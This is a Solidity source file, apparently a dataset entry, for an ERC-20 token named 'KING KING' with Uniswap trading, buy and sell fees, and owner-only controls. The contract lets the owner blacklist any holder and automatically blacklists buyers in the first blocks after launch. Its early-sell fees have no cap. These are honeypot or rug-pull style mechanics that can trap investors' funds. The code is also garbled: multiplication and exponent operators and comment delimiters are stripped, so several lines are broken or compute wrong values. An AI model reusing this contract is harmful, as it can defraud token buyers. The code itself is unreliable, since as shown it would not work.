msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /* * @dev Multiplies two int256 variables and fails on overflow. / function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 \|\| (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) \|\| (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. / function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 \|\| a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /* * @dev Subtracts two int256 variables and fails on overflow. / function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) \|\| (b < 0 && c > a)); return c; } /* * @dev Adds two int256 variables and fails on overflow. / function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) \|\| (b < 0 && c < a)); return c; } /* * @dev Converts to absolute value, and fails on overflow. / function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract KINGKING is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /****************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("KING KING", "$KK") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyDevFee = 5; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 6; uint256 _sellDevFee = 2; uint256 _earlySellLiquidityFee = 15; uint256 _earlySellMarketingFee = 10; uint256 _earlySellDevFee = 3 ; uint256 totalSupply = 1 * 1e7 * 1e18; maxTransactionAmount = totalSupply * 15 / 1000; // 1.5% maxTransactionAmountTxn maxWallet = totalSupply * 30 / 1000; // 3% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again / _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10*18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10*18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] \|\| _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 3; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] \|\| _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 \|\| totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }	True	[ 101, 